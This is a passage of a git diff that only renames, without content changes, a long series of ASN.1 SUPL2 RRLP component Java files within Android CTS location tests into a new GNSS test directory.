rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTimeAssistanceMeasurements.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSWeek.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSWeek.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSWeek.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GSMTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GSMTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GanssDataBitsElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GanssDataBitsElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/IonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/IonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocErrorReason.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocErrorReason.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocErrorReason.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationError.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationError.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationError.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/LocationInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/LocationInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MeasureResponseTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MeasureResponseTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MeasureResponseTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MethodType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MethodType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MethodType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ModuloTimeSlot.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ModuloTimeSlot.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MpathIndic.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MpathIndic.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrAssistData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MsrPosition_Rsp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameOffset.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultiFrameOffset.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/MultipleSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NAVclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NAVclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_GLONASSecef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_KeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_NAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_SBASecef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavModel_SBASecef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavigationModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NavigationModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NeighborIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NeighborIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NumOfMeasurements.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/NumOfMeasurements.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTDValue.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTDValue.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_Measurement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_Measurement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementFirst_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrElementRest.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/OTD_MsrsOfOtherSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Req.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Req.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Req.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Rsp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PosCapability_Rsp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionInstruct.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionInstruct.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/PositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ProtocolError.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ProtocolError.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefQuality.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RefQuality.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceFrame.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceFrame.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentityType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceIdentityType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceIdentityType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceNavModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceNavModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceNavModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceRelation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceRelation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceRelation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceWGS84.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceWGS84.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/ReferenceWGS84.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
